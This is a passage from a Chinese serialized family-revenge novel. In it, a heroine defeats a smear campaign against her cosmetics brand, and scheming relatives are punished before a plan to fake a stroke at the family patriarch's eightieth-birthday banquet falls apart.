“各位!事实已经摆在眼前!这是一场有预谋、有组织的、针对我们‘凝悦’品牌的恶意中伤和商业诽谤!对于这种无耻的行径,我们绝不姑息!” 她一挥手,几名早已等候在旁的公安干警立刻上前,将那几个还在地上撒泼的“演员”和人群中几个企图溜走的“托儿”,全都铐了起来! “我们已经正式报案!相信公安机关,一定会将幕后黑手绳之以法,还我们一个公道!”秦悦的声音,掷地有声。 看着那几个骗子被警察带走,围观的群众爆发出了一阵雷鸣般的掌声和叫好声! “干得漂亮!” “就该把这群骗子抓起来!” “凝悦好样的!我们支持你!” 一场精心策划的“毁容”闹剧,在白凝凝雷厉风行的反击之下,不仅没有损害“凝悦”的声誉,反而像一场最精彩的、现场直播的“打假”大戏,让“凝悦”产品的安全性和可靠性,以一种最震撼人心的方式,深深地烙印在了每一个人的心里! 专柜前,瞬间被挤得水泄不通! “给我来一瓶!不!来两瓶修复膏!” “我要那个军用的祛疤膏!多少钱都行!” “还有我!我排了一早上的队了!” 之前还在观望的名媛贵妇们,此刻更是像疯了一样往前挤,生怕自己抢不到这堪比“仙丹”的神药! 秦悦看着这火爆的场面,笑得合不拢嘴,立刻指挥店员,开始进行限购销售。 而白凝凝,则悄然退到了人群之后,她的目光,越过攒动的人头,落在了百货大楼对面的一个不起眼的角落。 那里,一个穿着夹克、戴着鸭舌帽的男人,在看到警察出现的那一刻,就立刻转身,惊慌失措地混入人群,企图逃离。 是周康。 白凝凝嘴角勾起一抹冷笑。她对身旁一个伪装成保安的侦察兵张虎,低声说了一句:“跟上他。” 鱼儿上钩了,现在,是时候看看,这条鱼线后面,还牵着哪些更大的鱼了。 周康被吓破了胆,他一路狂奔,没敢回自己那个破旧的出租屋,而是像一只丧家之犬,直接跑回了他唯一的靠山——他姑妈周玉芬那里。 “姑妈!不好了!出事了!”他一头冲进傅家主宅,连门都忘了关。 正在客厅里悠闲地喝着茶,等着“好消息”的周玉芬和楚小小,被他这副见了鬼的模样吓了一跳。 “嚷嚷什么!成何体统!”周玉芬不耐烦地斥道,“事情办得怎么样了?那小贱人是不是身败名裂了?” “身败名裂个屁!”周康急得都快哭了,他一把抓起桌上的茶杯,猛灌了一口,才喘着粗气说道,“我们被骗了!那姓白的根本没怕!她直接叫来了专家和警察!我们的人全都被抓了!现在警察肯定满世界找我呢!” “什么?!”周玉芬手里的茶杯“哐当”一声掉在地上,摔得粉碎。 楚小小也是脸色一白,心中充满了不祥的预感。 “姑妈,你快给我点钱!我得跑路!不然被抓进去,我肯定得把您给供出来啊!”周康急切地说道。 周玉芬一听,更是吓得魂飞魄散!她要是被供出来,就算傅建军还没倒,她也得跟着完蛋! 她想都没想,立刻跑回房间,从自己藏在床垫下的私房钱里,抓了一大把,塞给周康:“快走!走得越远越好!永远别再回来!” 就在周康拿着钱,准备从后门溜走时—— 几道矫健的身影,如同鬼魅一般,悄无声息地出现在了院子里,堵住了他所有的去路。 为首的,正是眼神锐利如鹰的侦察兵张虎! “周康是吧?”张虎冷笑着,晃了晃手里的手铐,“跟我们走一趟吧。有人想见你。” 周康腿一软,当场就瘫倒在了地上。 而客厅里的周玉芬和楚小小,听到外面的动静,更是吓得面如土色,抱在一起,瑟瑟发抖。 半个小时后,在军区一个秘密的审讯室里。 周康面对着那几个煞神一样的军人,心理防线瞬间崩溃,没等用刑,就哭着把所有事情都招了。 “是……是我姑妈!是我亲姑妈周玉芬让我干的!钱也是她给的!” 然而,审讯的侦察兵并没有停下,而是将一份口供拍在他面前,冷冷地问道:“周玉芬的计划,只是找人闹事。是谁,让你联系报社,还教你写那些煽动性的话,把事情往‘特权’和‘政治问题’上引的?” 周康一愣,随即像是想起了什么,犹豫了起来。他知道,说出周玉芬,他只是个从犯。可要是说出那个只闻其声不见其人的“幕后军师”……他怕自己会死得更惨。 “我……我不知道……真是我姑妈……” “看来,是不见棺材不掉泪了。”张虎冷笑一声,对旁边的人使了个眼色。 就在这时,审讯室的门被推开了。 傅清寒高大的身影,出现在了门口。他刚从广东飞回来,一身的风尘仆仆,但那双深邃的黑眸里,却带着能将人灵魂都冻结的寒意。 他没有走进来,只是倚在门框上,用一种极其平淡的语气,对里面的周康说道: “周康,我只给你一次机会。” “说出你背后那个人。否则……”他顿了顿,嘴角勾起一抹冷峻的弧度,“你父亲周玉杰,最近在里面的日子,好像过得不太舒坦。我听说,他得罪了几个重刑犯,天天晚上,都有人‘照顾’他。” 周康的瞳孔猛地一缩!他知道,傅清寒这是在威胁他! 一边是未知的、可能更可怕的报复,一边是近在眼前、关系到他父亲生死的威胁! 他只挣扎了不到三秒钟,就彻底崩溃了! “我说!我说!听说是林家的大小姐!是傅向阳的老婆楚小小搭的线!是那位大小姐教我们那么干的!不如我们怎么会懂那么阴险的事!是她说要我把事情闹大,闹到政治层面,才能把白凝凝彻底踩死!” 他竹筒倒豆子一般,将楚小小如何通过林晚晴,一步步将计划升级的细节,全都招了! 审讯室外,傅清寒静静地听着,脸上的表情,没有一丝一毫的变化。但那双深不见底的黑眸里,却翻涌着足以毁灭一切的风暴。 楚小小……林晚晴…… 很好。 账,该一笔一笔地,清算了。 第66章 傅清寒的报复 傅清寒的报复,比任何人想象中来得都更快,也更狠。 第二天一早,一份由傅清寒亲笔签名、并附上了周康完整口供和相关证据的举报材料,绕过了所有中间环节,直接送到了军纪委最高领导,以及陈家老爷子的书桌上。 材料里,不仅详述了几人如何恶意构陷、企图将商业纠纷上升为政治事件的恶毒用心,更是将周玉芬屡次三番挑衅、企图侵吞烈士遗产的旧账,一并翻了出来! 这是一封绝不留情的“宣战书”! 当天下午,两辆黑色的轿车,一辆开进了林家大宅,一辆则直接停在了傅家主宅的门口。 林家大宅,气氛凝重如铁。 红木雕花的客厅里,空气仿佛凝固了。林父林庆国,一位在商海沉浮多年、早已练就泰山崩于前而色不变的儒雅商人,看着纪委工作人员出示的那些铁证,尤其是那份从电信局调出来通话记录和周康的口供,气得浑身发抖。 林晚晴跪在冰冷的大理石地砖上,身上那件昂贵的定制连衣裙,此刻显得无比讽刺。她引以为傲的美丽脸庞上,还带着不敢置信的惊愕。 “爸……这……这里面一定有误会!”她还在做着最后的挣扎,“傅清寒他……他不可能这么对我!我们……” “啪——!” 一声清脆响亮的耳光,狠狠地甩在了她的脸上! 林父这一巴掌,用尽了全力,直接将她打得偏过头去,嘴角瞬间就渗出了一丝血迹。 “误会?!”林父的声音,因为极度的愤怒和失望而变得嘶哑,“到了现在,你还跟我说误会?林晚晴,你是不是觉得我们所有人都跟你一样蠢?!” 他将那份通话记录狠狠地甩在她的脸上,纸张锋利的边缘划过她娇嫩的皮肤,留下一道浅浅的红痕。 “你自己看看!”林父指着地上的材料,双目赤红,那是一种恨铁不成钢的痛心,“雇凶伤人!伪造信物!恶意诽谤功臣家属!还嫌不够,还要把事情往政治上引!往‘特权’和‘路线’上引!你知不知道这几个字的分量?!你这是想干什么?你是想让我们整个林家,给你那点见不得光的私心,陪葬吗?!” 林晚晴被打蒙了,她捂着火辣辣的脸颊,难以置信地看着从小到大都未曾对自己动过一根手指的父亲。 “我……我没有……我只是想教训一下那个乡下丫头!我只是想拿回本该属于我的东西!”她哭喊着,试图为自己辩解。 “属于你的东西?”林父像是听到了天大的笑话,他被气得不怒反笑,指着她的鼻子,一针见血地戳穿了她所有虚伪的伪装! “林晚晴,你还要自欺欺人到什么时候?!” “我问你,傅清寒什么时候说过喜欢你?什么时候给过你任何承诺?” “当年人家还是天之骄子的时候,你像只苍蝇一样天天围着他转,到处宣扬你们是‘金童玉女’,我们林家和傅家是世交,我睁一只眼闭一只眼,只当你是小女儿家的心思!” “可后来呢?!”林父的声音陡然拔高,充满了鄙夷和不屑,“傅清寒一出事,前途未卜,你跑得比谁都快!还找了个‘出国深造’的冠冕堂皇的理由!那时候你怎么不想着那是‘属于你的东西’了?!” “现在,人家不仅伤好了,还娶了妻,人家妻子更是凭自己的本事,立下了汗马功劳,成了陈家的义孙女!你眼红了?你嫉妒了?你就又巴巴地跑回来,想故技重施,想把人家的家庭拆散?!” 林父居高临下地看着她,眼神里再也没有了往日的慈爱,只剩下冰冷的、彻骨的失望。 “林晚晴,我一直以为,我教给你的是审时度势,是大家闺秀的体面和骄傲。没想到,你学到骨子里的,竟然是这种下三滥的、不知廉耻的手段!” “盯着一个有妇之夫不放!还用这种卑劣的手段去伤害人家的妻子!你这不是爱,你这是贱!” “不知廉耻!” “你让我林家的脸,让我在那些老战友面前,还怎么抬得起头来!” 父亲的每一句话,都像一把把锋利的刀子,将她那层精心伪装的、名为“深情”和“骄傲”的外衣,剥得干干净净。 她输了,输得一败涂地,体无完肤。 林晚晴瘫坐在地上,所有的骄傲和算计都化为了齑粉。 林父看着她这副失魂落魄的模样,心中最后一丝不忍也消失殆尽。他知道,再不拿出雷霆手段,整个林家都要被这个逆女拖下水。 他背过身去,不再看她,声音冷硬如铁,下达了最终的判决: “来人!” 两名身材高大的保镖,从门外走了进来。 “从今天起,收缴大小姐所有的银行卡、护照、通讯工具!没有我的允许,不许她踏出这个房门半步!” “爸!您就我一个女儿,您不能这么对我!” “晚晴,”林父背对着她,长叹一口气,”你就好好配合调查,该怎样就怎样,我们林家不能有事。” 林晚晴颓然瘫倒在地,父亲这话意思是要放弃自己了? —— 而傅家主宅,更是上演了一场天翻地覆的闹剧。 傅老爷子拄着拐杖,在家中警卫的簇拥下,亲自坐镇客厅。他的面前,跪着抖如筛糠的周玉芬。 “周玉芬,”傅老爷子的声音,平静得可怕,却比任何怒吼都更让人心寒,“我傅家三代从军,满门忠烈,自问没有对不起国家,更没有对不起人民。没想到,到头来,却出了你这么个贪婪、恶毒、鼠目寸光的搅家精!” “先是侵吞烈士遗产,而后勾结地痞流氓,现在又企图挑起政治事端!桩桩件件,哪一件不是诛心之举?!你可真有出息!” 他将那份举报材料,狠狠地甩在周玉芬的脸上。 “爸!我错了!我真的错了!”周玉芬抱着老爷子的大腿,哭得涕泪横流,“我都是被猪油蒙了心!您看在向阳和您未出世的孙子份上,饶了我这一次吧!” 第67章 丈母娘驾到 “孙子?”傅老爷子冷笑一声,目光扫向一旁吓得瑟瑟发抖的楚小小,“如果不是看在她肚子里那块肉的份上,你以为,你们一家现在还能安安稳稳地待在这里?”他深吸一口气,用拐杖指着大门,下达了最后的判决: “从今天起,你周玉芬,不再是我傅家的儿媳妇!你和傅建军,立刻离婚!然后,给我滚出这个家!永远不许再踏进傅家大院半步!” “不——!爸!你不能这么对我!”周玉芬发出一声凄厉的尖叫。被赶出傅家,她就从一个人人羡慕的“主任夫人”,变成了一个一无所有的弃妇!她后半辈子还怎么活?! 然而,傅老爷子心意已决。两名警卫员上前将还在哭喊挣扎的周玉芬,直接从傅家主宅里拖了出去! “砰”的一声,大门紧闭。 周玉芬被赶走,整个客厅陷入了一片死寂。楚小小跪在地上,身体抖得像秋风中的落叶。她看着周玉芬被拖走的背影,心中非但没有一丝快意,反而被一种更深的恐惧所笼罩。 连周玉芬这个为傅家生儿育女几十年的“功臣”都被说赶走就赶走了,那她呢? 就在这时,楚小小忽然发出一声痛呼,双手捂住了自己的小腹,额头上瞬间冒出了冷汗! “哎哟……我的肚子……好疼……”她脸色煞白,蜷缩在地上,痛苦地呻吟起来。 “小小!”一直沉默的傅向阳最先反应过来,连忙上前扶住她。 傅老爷子也是心中一紧!他再怎么厌恶楚小小,可她肚子里的,毕竟是傅家目前唯一的根! “快!叫救护车!” 救护车呼啸而来,又呼啸而去。 医院里,经过一番紧张的检查,医生给出的结论是:“孕妇因为情绪过度紧张,导致了先兆性流产的迹象。问题不大,但必须卧床静养,不能再受任何刺激。” 楚小小又一次,用她肚子里的那块“免死金牌”,成功地躲过了一劫。 她被安排进了高级病房,傅向阳衣不解带地守在旁边,脸上是说不清的疲惫和麻木。 病房里,楚小小躺在床上,脸色苍白,看起来虚弱又可怜。她拉着傅向阳的手,眼泪汪汪地说道:“向阳哥,对不起……都是我不好,如果不是我,我们家也不会变成现在这样……” 傅向阳看着她,心中五味杂陈。他恨她,恨她带来了这一切灾难。可他又不能没有她,不能没有她肚子里的孩子。 就在这时,一个风尘仆仆的中年女人,提着一个保温桶,急匆匆地闯了进来。 来人不是别人,正是楚小小的亲妈,李茹。 自从楚家倒台后,她就回了老家避风头。这次听闻女儿“出事”,又惊又怕,连夜就赶了过来。 “我的宝贝女儿啊!”楚母一进门就扑到床边,抱着楚小小嚎啕大哭,“你怎么这么命苦啊!嫁到他们傅家来,是来享福的,不是来受罪的!你看你现在都瘦成什么样了!” 她一边哭,一边用怨毒的眼神瞪着一旁的傅向阳。 哭诉了一阵,她擦干眼泪,像是想起了什么,立刻换上了一副理所当然的嘴脸,对傅向阳和闻讯赶来的傅老爷子说道: “亲家老爷子,向阳,你们也看到了。我们家小小现在身子弱,肚子里的可是你们傅家的金孙,精贵着呢!周玉芬那个没福气的被赶走了,现在家里没人照顾孕妇怎么行?” 她将保温桶往床头柜上一放,理直气壮地宣布: “从今天起,我就搬到你们傅家主宅去住!我亲自来照顾我女儿安胎!吃的、喝的、用的,都得是最好的!你们要是敢怠慢了我们母女俩,敢让我外孙受一点委屈,我就……我就抱着小小回娘家!让你们傅家彻底断子绝孙!” 楚母这番撒泼耍赖的话,让在场所有人都变了脸色。 傅老爷子气得嘴唇直哆嗦,却一个字都说不出来。他能怎么办?赶走一个周玉芬,又来一个更难缠的李茹!为了那个“唯一的香火”,他只能捏着鼻子,认了! 就这样,楚母堂而皇之地,以“照顾孕妇”的名义,住进了傅家主宅,开启了她“挟外孙以令诸侯”的新生活。 —— 然而李茹可不是省油的灯。 她曾经也是风光一时的局长夫人,虽然如今丈夫失势,家道中落,但那股子养尊处优的做派和身为“前官太太”的精明与刻薄,却丝毫未减。她的段位,比周玉芬那个只懂得撒泼打滚的妇人,高了不止一个级别。 李茹一住进傅家,便立刻反客为主,将自己当成了这个家的女主人。 她嫌弃保姆做的饭菜不够精细,嫌弃傅家的装修老土过时。更重要的是,她对自己那个“残废”的女婿傅向阳,和那个“没了实权”的亲家公傅建军,充满了毫不掩饰的鄙夷。 傅家大房的鸡飞狗跳,自然瞒不过傅老爷子的眼睛。 李茹的刻薄和算计,傅建军的消沉,傅向阳的颓废……这一切,都像一根根针,扎在老爷子的心上。 他派去照顾的警卫员,每天都会将餐桌上发生的那些“闹剧”,原封不动地汇报给他。 傅老爷子听完,长长地叹了一口气,那张饱经风霜的脸上,满是失望和疲惫。 他挥了挥手,示意警卫员下去,一个人坐在书房里,枯坐了许久。 他想起了当初那个意气风发、前途无量的长子傅建军;想起了那个虽然顽劣、但也曾是他骄傲的长孙傅向阳。 怎么就……走到了今天这一步? 引狼入室,家宅不宁。 他再也不想看到这个乌烟瘴气的家了。 眼看他的八十大寿越来越近,整个傅家主宅,却依旧笼罩在一片死气沉沉的压抑之中,没有半分喜庆的模样。 这天,傅清寒和白凝凝一起来到老爷子的书房,商议寿宴的细节。 “爷爷,”傅清寒开门见山,“您的寿宴,我和凝凝商量了一下,想在京市饭店给您办。地方和菜单我们都看好了,您过目一下。” 傅老爷子接过傅清寒递来的计划书,却只是随意地翻了翻,便放在了一边,兴致缺缺地叹了口气:“办什么寿宴?家里现在这个样子,我哪还有那个心情。” 他看着窗外大房的方向,眼神里是掩饰不住的疲惫和失望:“老大一家……算是彻底废了。现在又引了那么一头狼进门,我这把老骨头,真是连看都懒得看了。” 白凝凝看着老爷子那落寞的神情,心中一软。她走上前,自然地拿起桌上的暖水瓶,为老爷子续上热茶,柔声劝道: “爷爷,正因为家里现在这样,您的寿宴,才更要好好办。” 老爷子不解地看向她。 白凝凝将茶杯递到他手中,声音温和而又有力:“您是傅家的定海神针。您的寿宴,办得越是风光,就越是能向外面那些等着看笑话的人证明,傅家,倒不了。” 第68章 争家产的计划 她顿了顿,又说道:“而且,我知道您看着大哥家里心烦。不如……趁着寿宴前的这段时间,您搬到我们小院去住几天?那边清净,我也方便随时给您调理身体。寿宴的很多细节,我们也能随时跟您商量。”这个提议,让傅老爷子的眼睛,瞬间就亮了。 去小儿子和小儿媳那边住? 他看了一眼傅清寒,又看了一眼白凝凝,心中立刻就明白了孩子们的孝心。 是啊,与其留在这里,每天听着那些糟心事,看着那些不肖子孙,还不如去清寒那边,眼不见心不烦! 傅清寒也立刻接口道:“是啊,爸。您搬过去,凝凝每天给您做药膳,我陪您下棋。大房那边,您就当没他们,乐得清静。” 傅老爷子看着眼前这对体贴孝顺的儿子儿媳,再想想大房那乌烟瘴气的烂摊子,心中百感交集。 他重重地,用拐杖敲了敲地面,做出了决断。 “好!”他看着傅清寒和白凝凝,脸上终于露出了久违的笑容,“就这么定了!我今天就搬过去!这破地方,我是一天都不想待了!” “行,那我这就上去给您收拾东西。” “等一下,”傅老爷子却突然打断他,决断道:看着“清寒,你和你大哥,分家吧。” 老爷子的这个决定,让傅清寒和白凝凝都有些意外,爸,你怎么突然……” 傅老爷子摇摇头,“早晚的事,早点分开,你们小两口也省点心,少受他们影响。” 其实这几天他已经想明白了。 清寒从小就性子冷,不爱与人争辩,一心扑在部队。从小就最让人省心,也最让人心疼。当年为了国家,在战场上落下了那样的重伤,被所有人断言“绝嗣”,他一个人,默默地扛下了所有的痛苦和非议。 如今,好不容易有了凝凝这个知书达理又知冷知热的好媳妇。 他本来以为只是傅向阳浮躁,年轻不懂事,慢慢长大就好了。虽说是这一家子磕磕绊绊的,但还是完整的一大家。 却没想到大房这一家子,却像一群甩不掉的烂泥,一次又一次地,试图将清寒和凝凝拖下水。从“问题军服”的牵连,到周玉芬那恶毒的栽赃陷害,再到如今这个比更难缠的李茹…… 现在这个家,已经烂了。 他不能再让大房的这些腌臜事,去污染清寒和凝凝好不容易才得来的幸福和安宁。 他不能让这个为国家、为傅家付出了那么多的儿子,再被这些家人所拖累! 这个家,必须分!而且要分得彻底! “寿宴前,我搬去你们的小院住。等寿宴结束,我就当着所有亲朋好友的面,正式宣布,分家!” 傅老爷子要搬去小院住的消息,像一颗石头在主宅这潭死水里,激起了巨大的波澜。 傅建军在得知消息后,心中猛地一沉! 他知道,父亲这是对他们大房,彻底失望了! “爸,爷爷搬到小叔那里住了,这算什么事啊?我们才是长房!”傅向阳也急得皱眉,他倒不是因为多孝顺,而是担心爷爷住在小叔那里,被那两人哄着,将来分家产的时候,会彻底偏心二房那边! 他现在已经一无所有,如果再失去了傅家的财产继承权,那他这辈子,就真的完了! 这件事自然也瞒不过楚小小和李茹。 这天晚饭,餐桌上气氛压抑。 李茹看着在饭桌上借酒消愁、颓废不堪的傅向阳,用一种尖酸的、指桑骂槐的语气开口了: “哎,我们家小小真是命苦啊。想当初在京市,追她的公子哥儿能从街头排到街尾,个个都是人中龙凤。谁能想到,最后……唉,真是女怕嫁错郎啊!” 傅向阳“砰”地一下放下酒杯,红着眼怒道:“你什么意思?!” “我没什么意思。”李茹慢条斯理地用丝帕擦了擦嘴,眼神轻蔑地瞥了他一眼,“我只是心疼我女儿,年纪轻轻,肚子里还怀着你们傅家的种,却要跟着一个一蹶不振的男人,过这种看不到头的日子。向阳啊,不是我说你,一个大男人,成天就知道喝酒,能有什么出息?” “你!”傅向阳被噎得满脸通红,却一句话也反驳不出来。他现在没工作,没前途,连身体都……他拿什么来反驳? 一旁的傅建军也听不下去了,沉着脸说道:“亲家母,向阳心里难受,你就少说两句吧。” “哟,亲家公,我这可不是在说他,我这是在激励他!”李茹立刻将炮火对准了傅建军,“再说了,一个巴掌拍不响。当初要不是你这个当爹的识人不清,被奸商蒙骗,你们家向阳至于落到今天这个地步吗?他这辈子,可都毁在你手里了!害得我女儿跟着他受苦!” “你……你简直是胡搅蛮缠!”傅建军气得浑身发抖,猛地一拍桌子站了起来! 李茹却丝毫不惧,反而冷笑一声,将火力开到了最大: “我胡搅蛮缠?傅建军,你摸着自己的良心问问!当初是谁拍着胸脯跟我保证,说我们小小嫁进来,就是傅家的长孙媳,将来前途无量?结果呢?你自己的官位都丢了!现在连你老婆都进去了!你们傅家大房,还有什么?” “要不是看在我外孙的份上,你以为我愿意踏进你们家这个晦气的门?现在,你们大房唯一的指望,就是我女儿肚子里的这块肉!是我李茹的外孙!你们父子俩,要是还有点良心,就该把我女儿像菩萨一样供起来!而不是在这里跟我拍桌子瞪眼!” 这番话,又刻薄,又现实,像一盆冰水,将傅建军父子俩最后那点可怜的自尊,浇了个透心凉。 他们……竟然无力反驳。 是啊,他们现在还有什么?官位、前途、名声、甚至……传宗接代的能力,都没了。 傅向阳恍惚间连手里的杯子都拿不准,失手摔在地上,摔得粉碎。他再也无法忍受这种屈辱,转动轮椅,打算失魂落魄地回自己的房间。 傅建军也像是瞬间被抽干了所有的力气,颓然坐下,一夜之间,仿佛又老了十岁。 眼见着这对父子被自己亲妈怼得毫无还手之力,楚小小心里冷笑一下,真是不堪一击,便对李茹使了个眼色。 李茹立刻心领神会,清了清嗓子,换上了一副“为女儿打算”的慈母面孔,对着傅建军说出了今晚的重点: “老爷子今天能搬走,明天就敢分家。现在你们觉得老爷子能给你们分多少家产?” 父子两个都停住了动作,李茹说到了两人最担心的点上。 第69章 傅建军装病 李茹继续道:“分家我们拦不住,但家产,必须得按规矩来!”李茹摸了摸小小的肚子,意有所指地说道,“我们家小小是长孙媳,肚子里怀的,也是你们傅家的第四代!无论如何,这份家产,必须有她的一半! ”一半?傅建军缓缓抬头,别说一半了,按照老爷子的脾气,现在能给他们留一点就已经是法外开恩了。 “亲家公,我知道你现在心里难。但日子总得过下去。我们小小,下个月就要生了,这孩子生下来,就是你们傅家第四代的‘独苗’,难道你们就忍心看着他一出生,就什么都没有吗?” 她见傅建军有所触动,立刻趁热打铁:“老爷子偏心,这是事实。但规矩就是规矩!自古以来,家产都是传长不传幼!向阳是长孙,我们孩子是重长孙!傅清寒他再能耐,他也是个不中用的,有再说家产有什么用,又没人可以继承!” 她的话,像是一把火点亮了傅建军心中的阴霾! 他缓缓抬起头,浑浊的眼中闪过一丝亮光。是啊,傅清寒再怎么有出息,白凝凝再怎么风光,两人没孩子,到头来还不是竹篮打水一场空!而自己虽然现在潦倒如此,却手握傅家唯一的重孙! 李茹见状,立刻抛出了那个她们母女俩商量了一整晚的计划。 “所以,亲家公,你甘心家产被抢吗?”她凑上前,压低了声音,“寿宴那天,你什么都不用做。你只需要……‘病倒’就行了。” “病倒?”傅建军不解。 李茹的嘴角,勾起一抹阴冷的笑:“对。你因为儿子重伤、儿媳即将临盆,忧思过重,心力交瘁,在老爷子的寿宴上,‘悲伤过度’,突然‘中风’了。你说,到时候,是老爷子的寿宴重要,还是你这个长子的命重要?” “老爷子最重脸面,更重孝道。在那种场合,他不可能不管你。而你就可以趁机,当着所有宾客的面,拉着老爷子的手,‘交代后事’!” “你就说,你这辈子对不起儿子,对不起未出世的孙子,你唯一的遗愿,就是希望老爷子能看在血脉的份上,将傅家一半的家产,留给你的孙子!你甚至可以要求,让老爷子当场立下字据!当着那么多人的面,他骑虎难下,不答应也得答应!” 这个计划,相当歹毒! 它要用傅建军的“命”,去绑架傅老爷子的“名”,用最无耻的方式,在寿宴上,上演一出“临终托孤”的苦情大戏,逼着老爷子就范! 傅建军听得心惊肉跳,他看着李茹那张因为算计而显得有些扭曲的脸,第一次觉得,这个女人比他那已经被赶走的老婆周玉芬,还要可怕百倍! 但他……竟然觉得这个计划,可行! 他已经一无所有了,除了这条命,他还有什么可以拿来赌的? 傅向阳也在轮椅上,听着这一切。他的眼再次亮起来。他知道,这是他们大房最后一次翻盘的机会!他立刻附和道:“爸!就这么干!反正您最近血压也高,到时候就说气急攻心!谁也看不出破绽!” 看着这对已经彻底被贪婪吞噬了理智的父子,楚小小和李茹对视一眼,都知道对面两人已经动心了。 傅老爷子八十大寿当天,京市饭店最顶级的宴会厅里,高朋满座。 陈家、王家、以及京市各大军区、政府部门有头有脸的人物,几乎全都到齐了。这不仅仅是一场寿宴,更是一场京市顶级圈层的盛大聚会。 傅老爷子穿着一身崭新的唐装,在傅清寒和白凝凝的搀扶下,精神矍铄地站在门口迎客,脸上洋溢着发自内心的笑容。 这段时间,他在小院里被凝凝用药膳和针灸调理着,又没有了那些糟心事烦扰,整个人的精气神都好了不止一个档次。 “老首长,祝您福如东海,寿比南山啊!” “陈老总也来了!” “哈哈,老傅,你可真有福气!有这么个好孙媳妇!” 宾客们的祝福声不绝于耳,但更多人的目光,都若有若无地,落在了傅清寒身边那个风华绝代的白凝凝身上。 今天的白凝凝,没有穿上次那件惊艳全场的旗袍,而是选择了一套由秦悦亲手设计的、改良式的红色丝绒套装。红色衬得她肤白胜雪,简约的剪裁又带着一丝沉稳大气,既有小辈的喜庆,又不失女主人的风范。 她挽着傅清寒的手臂,与他并肩而立,微笑着应对着各路大佬的寒暄,举手投足间,那份从容与自信,让所有人都暗自赞叹:这哪里是什么乡下丫头,分明就是天生的将门主母! 傅家大房一家,也“盛装”出席了。傅建军穿着一身不合时宜的旧西装,脸色蜡黄,看起来确实是一副“心力交瘁”的模样。傅向阳则坐在轮椅上,由李茹和楚小小一左一右地“搀扶”着,那副颓丧的样子,与整个宴会厅的喜庆氛围格格不入。 楚小小更是将“孕妇”的身份发挥到了极致,她穿着一身宽大的孕妇裙,手时刻不离自己高高隆起的小腹,脸上挂着柔弱又懂事的笑容。 他们一出现,整个宴会厅的气氛,就瞬间变得有些古怪。 所有人都心照不宣地看着这泾渭分明的两家人,等着看好戏。 寿宴开始,傅老爷子在众人的掌声中,走上主台,准备发表祝寿感言。 就在这时,傅建军忽然脸色一白,手捂着胸口,发出一声痛苦的呻吟,然后“噗通”一声,直挺挺地,从椅子上摔了下去! “建军!” “爸!” 李茹和傅向阳的惊呼声,立刻响彻全场! 整个宴会厅瞬间乱成一团!宾客们都惊愕地站了起来,不知道发生了什么。 “快!快叫救护车!”李茹一边哭喊着,一边“手忙脚乱”地去掐傅建军的人中,那副焦急又无助的模样,演得惟妙惟肖。 台上的傅老爷子也是脸色大变,立刻就要走下台去。 然而,就在所有人都以为这是一场突发意外时,白凝凝却按住了老爷子的手,对他轻轻地摇了摇头,眼神里,是洞悉一切的冷静。 傅清寒也立刻会意,他对着身边的警卫员,低声吩咐了一句。 警卫员立刻拿起对讲机,对着门口的安保人员喊道:“快!通知医务室!傅建军主任突发‘脑溢血’!让军区总医院心脑血管科的张主任,立刻带专家组过来抢救!” 第70章 装病遇到专业的不是找死吗 “脑溢血”三个字一出,正准备上演“临终托孤”苦情戏的傅建军,躺在地上的身体,猛地一僵!他的计划里,只是“中风”,最多是“心肌梗塞”!怎么就变成“脑溢血”了?!脑溢血可是要开颅的! 而李茹和楚小小,更是被这突如其来的变故打蒙了!她们的剧本里,可没有这一出啊! “不……不用了!”李茹最先反应过来,连忙摆手,试图阻止,“就是……就是普通的晕倒!休息一下就好了!不用惊动专家!” “那怎么行!” 一个清冷的权威声音,从主台上传来。 白凝凝已经走到了话筒前,她的目光扫过全场,最后落在那个躺在地上“装死”的傅建军身上,声音里充满了作为“神医”和“家人”的关切与担忧: “大伯的身体要紧!脑溢血可不是小事,必须立刻进行最专业的抢救!否则错过了黄金抢救时间,轻则半身不遂,重则……可就真的回天乏术了!” 她顿了顿,又用一种极其专业的语气,对已经赶到傅建军身边的几位宾客中的医生说道:“各位前辈,麻烦大家先不要轻易移动病人!脑溢血患者最忌挪动,否则会加重颅内出血!我们必须等最专业的脑科专家来了之后,才能进行下一步处理!” “对对对!白神医说得对!” “不能动!绝对不能动!” 那几个医生一听,立刻把正准备把傅建军扶起来的李茹和傅向阳拦住了。 这一下,傅建军彻底傻眼了。 他躺在冰冷坚硬的地板上,一动也不敢动,只觉得无数道探究的、同情的、看好戏的目光,像探照灯一样聚焦在他身上。 他的剧本是,被扶起来,然后拉着老爷子的手,声泪俱下地交代“遗言”。 可现在呢?他只能像条死鱼一样,躺在这里,等着被拉去医院“开颅”?! 李茹和楚小小也彻底慌了神。她们看着那个被众人“保护”起来、动弹不得的傅建军,急得像热锅上的蚂蚁,却又不敢再多说一句话。因为说得越多,就越显得她们“不希望傅建军得到及时救治”,越是心虚! 就在这骑虎难下的尴尬时刻,陈瑶不知何时凑到了哥哥陈慕白身边,看着台上那个冷静掌控全局的白凝凝,又看了看地上那个“半死不活”的傅建军,忍不住幸灾乐祸地小声嘀咕: “哥,你看,我就说吧,这家人就没一个正常的。大喜的日子,也能演这么一出。还是那个白凝凝有手段,三言两语就把他们拿捏得死死的。” 陈慕白闻言,只是淡淡地瞥了她一眼,推了推眼镜,镜片后的目光,落在了那个躺在地上一动不敢动,脸色已经开始由蜡黄转向铁青的傅建军身上。 他没有理会妹妹的幸灾乐祸,而是低声道:“手段?瑶瑶,这不是手段,这是阳谋。” “真正的聪明人,从不屑于玩弄阴谋诡计。她只是将计就计,把对方逼到一个进退两难的死角里,让谎言自己不攻自破。” 他顿了顿,语气里带上了一丝对凝凝的欣赏和对妹妹的教导: “你也慢慢长大了,不能再没心没肺的瞎胡闹了。今天看好了,你凝凝姐会给你上一堂课。” 陈瑶看着哥哥对白凝凝毫不掩饰的欣赏,和口中对自己的训导,心里满是不屑。切,有什么了不起的,不就是会说几句漂亮话嘛…… 我才是陈家的正经八百的小姐,又不是白凝凝那个不知道从哪个旮旯里钻出来的孤女,我才不屑于学这些呢! 很快,军区总医院的专家组,在心脑血管科的张主任带领下,全副武装,推着专业的急救设备,火急火燎地赶到了现场。 张主任是国内顶尖的脑科专家,也是出了名的“铁面判官”,最是看不得装病和浪费医疗资源。他一到场,立刻跪在傅建军身边,开始进行专业的检查。 他先是掰开傅建军的眼皮,用手电筒照了照他的瞳孔,又摸了摸他的颈动脉搏动。 傅建军躺在地上,紧张得心脏都快跳出来了。他拼命地控制着自己的身体,试图让自己看起来更像一个“病人”。 然而,他那点拙劣的演技,在真正的专家面前简直漏洞百出。 